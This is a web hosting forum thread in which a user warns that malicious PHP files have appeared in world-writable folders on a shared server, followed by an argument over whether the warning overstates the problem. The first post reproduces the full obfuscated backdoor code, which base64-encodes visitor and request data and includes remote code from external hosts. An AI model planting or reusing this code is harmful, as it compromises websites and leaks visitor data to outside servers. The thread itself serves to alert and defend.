| Reseller Hosting Questions about your reseller hosting account. |
![]() |
|
|
LinkBack | Thread Tools | Search this Thread |
|
|
#1 (permalink) |
|
Registered User
Seasoned Poster
Joined in Apr 2004
Lives in edmonton, ab
Hosted on pass5
84 posts
Gave thanks: 0
Thanked 0 times
|
Server exploit -- Pass 40
Hello,
I already submited this to Surapss security. There is a mayor problem with server security. All folders with write permissions (777) have malicious PHP code in them. Usually they are called contact.php, download.php and other. It consists of this code: <? error_reporting(0);$s="e";$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);$str=base64_encode($a).".".base64_en code($b).".".base64_encode($c).".".base64_encode($ d).".".base64_encode($e).".".base64_encode($f)."." .base64_encode($g).".".base64_encode($h).".$s"; if ((include(base64_decode("aHR0cDovLw==").base64_dec ode("dXNlcjkubXNodG1sLnJ1")."/?".$str))){} else {include(base64_decode("aHR0cDovLw==").base64_deco de("dXNlcjcuaHRtbHRhZ3MucnU=")."/?".$str);} ?> The base64 encodes values are as follows: "aHR0cDovLw==" is "http://" "dXNlcjUucGhwc3VwcG9ydC5ydQ "dXNlcjUucGhwc3VwcG9ydC5ydQ Those files are in EVERY folder with 777 permission. You can read about it in-depth here: http://forums.asmallorange.com/lofiv...php/t5815.html This DOES effect Surpass accounts. Check your folders!! vexcity.com pass40 Last edited by clayhenry; May 16th, 2006 at 10:59 AM.. |
|
|
|
|
|
#2 (permalink) |
|
is surrounded by retards.
Resident.
Joined in Mar 2004
Lives in fear of Obama.
Hosted on Pass 7
13,082 posts
Gave thanks: 8
Thanked 33 times
|
You should calm down. Just because this was on your site doesn't mean that ALL SERVERS AND FOLDERS WITH 777 have been affected. If a newer user looks and it's not there, they may freak out because they don't see it and think something worse is going on. Mass panicing everyone because this showed up on your site isn't a good idea. In fact, it's more likely that your site had insecurities in it to allow this, or the server you are only had an insecurity in one of the site's it's hosting which allowed this. This does not mean the whole data center is compromised or broken.
After reading that link, I didn't see anything in there saying that there was a hole in the server, but several saying it was likely the software...including the first post.
__________________
|
|
|
|
|
|
#3 (permalink) |
|
Registered User
Seasoned Poster
Joined in Apr 2004
Lives in edmonton, ab
Hosted on pass5
84 posts
Gave thanks: 0
Thanked 0 times
|
Please tell me where I mentioned "ALL SERVERS AND FOLDERS "?
I don’t see myself mentioning ALL SERVERS AND FOLDERS. This in regards to PASS40. What I meant was, if one folder is affected, all of them will be affected with that premission. There are common scripts that require that permission. Next time, I will defiantly think twice before posting a warning that will affect users. You’re right; ignorance is bliss...carry on. Last edited by clayhenry; May 16th, 2006 at 5:23 PM.. |
|
|
|
|
|
#5 (permalink) | |
|
Senior Member
Super #1
Joined in Nov 2003
Lives in Canada
Hosted on Pass14
3,770 posts
Gave thanks: 4
Thanked 20 times
|
Quote:
I can't wait for phpsuexec to finally get around to all servers... though, I'll admit, I only started actually understanding it about 2 nights ago.
__________________
|
|
|
|
|
|
|
#6 (permalink) |
|
Registered User
Seasoned Poster
Joined in Apr 2004
Lives in edmonton, ab
Hosted on pass5
84 posts
Gave thanks: 0
Thanked 0 times
|
My apologies, I do realized that I missed to emphasis what server I was on and was speeking off.
The title should have been a good place to put it. This is the first time I hear of this phpsuexec. Last edited by clayhenry; May 16th, 2006 at 6:27 PM.. |
|
|
|
|
|
#7 (permalink) | |||
|
Yabadabadoo
Super #1
Joined in Nov 2004
Lives in B.C., Canada
Hosted on Dedicated
1,013 posts
Gave thanks: 7
Thanked 28 times
|
Quote:
Quote:
Quote:
|
|||
|
|
|
|
|
#8 (permalink) |
|
Registered User
Seasoned Poster
Joined in Apr 2004
Lives in edmonton, ab
Hosted on pass5
84 posts
Gave thanks: 0
Thanked 0 times
|
It's interesting how people on this forum choose to criticize the how the message was formulated then what it carries.
Yes, it does affect all folders on the affected account. Yes, it does effect surpass accounts. It effected most of mine, and its not do to my error. Some scripts require 777 in order to function. But please, go ahead pick apart at what I say. Its funny how my first thought of warning other users have bean thrown back in my face. I will defiantly keep that kind of stuff to my self. Lesson leaned. My apologies If I have thrown you in to panic. Last edited by clayhenry; May 16th, 2006 at 6:49 PM.. |
|
|
|
|
|
#9 (permalink) |
|
Yabadabadoo
Super #1
Joined in Nov 2004
Lives in B.C., Canada
Hosted on Dedicated
1,013 posts
Gave thanks: 7
Thanked 28 times
|
lol im not the least bit worried about this "problem"
But what i have a problem with is you stating something, and then denying it in the exact same thread. You stated it, and then when someone asks you not to get people worried by telling them they are all vulnerable, you deny saying it. Yet its in writing at the top of the thread. |
|
|
|